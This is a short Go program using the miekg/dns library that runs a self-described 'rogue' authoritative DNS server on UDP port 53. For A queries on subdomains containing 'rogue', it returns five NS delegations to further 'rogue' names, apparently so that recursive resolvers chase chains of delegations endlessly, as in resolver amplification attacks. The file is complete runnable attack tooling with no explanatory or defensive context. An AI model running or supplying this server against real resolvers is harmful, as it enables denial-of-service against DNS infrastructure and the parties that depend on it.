65 lines
1.6 KiB
Go
65 lines
1.6 KiB
Go
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package main
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import (
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"flag"
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"net"
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"strconv"
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"strings"
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"github.com/miekg/dns"
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)
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func rogue_delegation(w dns.ResponseWriter, r *dns.Msg) {
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m := new(dns.Msg)
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m.SetReply(r)
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m.Compress = true
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m.Authoritative = true
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qname := m.Question[0].Name
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qtype := m.Question[0].Qtype
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subdomain := strings.ToLower(strings.Split(qname, ".")[0])
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if qtype == dns.TypeA {
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if subdomain == "ns1" || subdomain == "ns2" {
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resp := &dns.A{
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Hdr: dns.RR_Header{Name: qname, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: 10},
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A: net.ParseIP(CONFIG_NS),
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}
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m.Answer = append(m.Answer, resp)
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} else if strings.Contains(subdomain, "rogue") {
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var ns_target string
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var resp *dns.NS
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for i := 0; i < 5; i++ {
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ns_target = strings.Join([]string{subdomain + strconv.Itoa(i), CONFIG_SLD}, ".")
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resp = &dns.NS{
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Hdr: dns.RR_Header{Name: qname, Rrtype: dns.TypeNS, Class: dns.ClassINET, Ttl: 10},
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Ns: dns.Fqdn(ns_target),
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}
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m.Ns = append(m.Ns, resp)
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}
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} else {
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m.MsgHdr.Rcode = dns.RcodeNameError
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}
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} else {
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m.MsgHdr.Rcode = dns.RcodeNameError
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}
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w.WriteMsg(m)
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}
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var CONFIG_SLD string
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var CONFIG_NS string
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func main() {
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flag.StringVar(&CONFIG_NS, "ns", "8.8.8.8", "nameserver ip address")
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flag.StringVar(&CONFIG_SLD, "sld", "", "configure sld for rogue server")
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flag.Parse()
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if CONFIG_SLD == "" {
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panic("Please configure the SLD for the echo dns server!\n")
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}
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dns.HandleFunc(dns.Fqdn(CONFIG_SLD), rogue_delegation)
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server := &dns.Server{Addr: ":53", Net: "udp"}
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if err := server.ListenAndServe(); err != nil {
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println("Failed to set up the rogue server")
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panic(err)
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}
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}
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